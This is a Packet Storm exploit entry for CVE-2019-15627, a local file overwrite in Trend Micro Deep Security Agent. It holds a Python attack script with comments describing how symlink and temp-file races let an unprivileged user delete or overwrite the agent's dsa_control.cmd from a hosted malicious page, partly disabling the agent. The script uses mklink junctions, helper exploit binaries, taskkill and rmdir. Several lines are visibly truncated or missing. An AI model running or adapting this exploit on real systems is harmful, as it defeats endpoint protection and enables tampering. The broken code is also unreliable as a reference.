Trend Micro Deep Security Agent 11 Arbitrary File Overwrite

Type packetstorm
Reporter Peter Lapp
Modified 2019-12-06T00:00:00


                                            `# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite  
# Exploit Author : Peter Lapp  
# Exploit Date: 2019-12-05  
# Vendor Homepage :  
# Link Software :  
# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.  
# CVE: 2019-15627  
# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)  
# This script uses the symboliclink-testing-tools project, written by James Forshaw ( )  
# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)  
# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS,   
# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired.   
# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.  
# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.  
# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file.   
# So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage,   
# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces,   
# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that   
# are ripe for the writing that can then point to a malicious binary.  
# Usage:  
# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part.   
# 2. Open a browser (preferrably IE) and start the script  
# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).  
# 4. Keep refreshing the page until you see the script create the target file overwritten.  
# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit.   
import time  
import os  
import subprocess  
import sys  
import webbrowser  
from watchdog.observers import Observer  
from import FileSystemEventHandler  
class Stage1_Handler(FileSystemEventHandler):  
def __init__(self):  
self.filenames = []  
def on_created(self, event):  
filename = os.path.basename(event.src_path)  
if filename in self.filenames:  
print ('Starting symlink creation.')  
print ('File %s created.') % filename  
class Stage2_Handler(FileSystemEventHandler):  
def on_any_event(self, event):  
if os.path.basename(event.src_path) == 'dsa_control.cmd':  
print "Target file overwritten/deleted. Cleaning up."  
subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True)  
subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True)  
os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"')  
os.system('rmdir /S /Q "C:\\test"')  
os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp')  
class Watcher(object):  
def __init__(self, event_handler, path_to_watch):  
self.event_handler = event_handler  
self.path_to_watch = path_to_watch = Observer()  
def run(self):, self.path_to_watch)  
while True:  
except KeyboardInterrupt:  
def stop(self):  
def symlinkery(filenames):  
print "Enter symlinkery"  
for filename in filenames:  
print "Creating symlink for %s" % filename  
cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename  
subprocess.Popen(cmdname, shell=True)  
os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig')  
os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test')  
print "Watcher 2 started"  
path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus'  
path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\'  
watcher1 = Watcher(Stage1_Handler,path1)  
watcher2 = Watcher(Stage2_Handler,path2)  
switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d"  
subprocess.Popen(switcheroo, shell=True)